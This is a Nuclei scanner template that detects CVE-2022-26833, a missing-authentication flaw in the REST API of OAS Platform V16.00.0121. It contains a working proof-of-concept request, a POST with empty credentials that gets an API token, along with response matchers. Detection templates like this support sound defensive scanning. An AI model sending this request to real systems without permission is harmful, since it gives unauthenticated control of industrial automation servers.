nuclei-templates/cves/2022/CVE-2022-26833.yaml

id: CVE-2022-26833

info:
  name: Open Automation Software OAS Platform V16.00.0121 - Missing Authentication for Critical Function
  author: true13
  severity: critical
  description: |
    An improper authentication vulnerability exists in the REST API functionality of Open Automation Software OAS Platform V16.00.0121. A specially-crafted series of HTTP requests can lead to unauthenticated use of the REST API.
  reference:
    - https://www.talosintelligence.com/vulnerability_reports/TALOS-2022-1513
    - https://nvd.nist.gov/vuln/detail/CVE-2022-26833
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-26833
  tags: cve,cve2022,CWE-306,OAS,unauthenticated

requests:
  - raw:
      - |
        POST /OASREST/v2/authenticate HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Connection: keep-alive
        Content-Type: application/json
        Content-Length: 32
        {"username": "", "password": ""}

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"

      - type: word
        part: body
        words:
          - "clientid"
          - "token"
          - "messages"
        condition: and

      - type: regex
        part: body
        regex:
          - "[0-9a-fA-F]{8}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{12}"
      
      - type: status
        status:
          - 200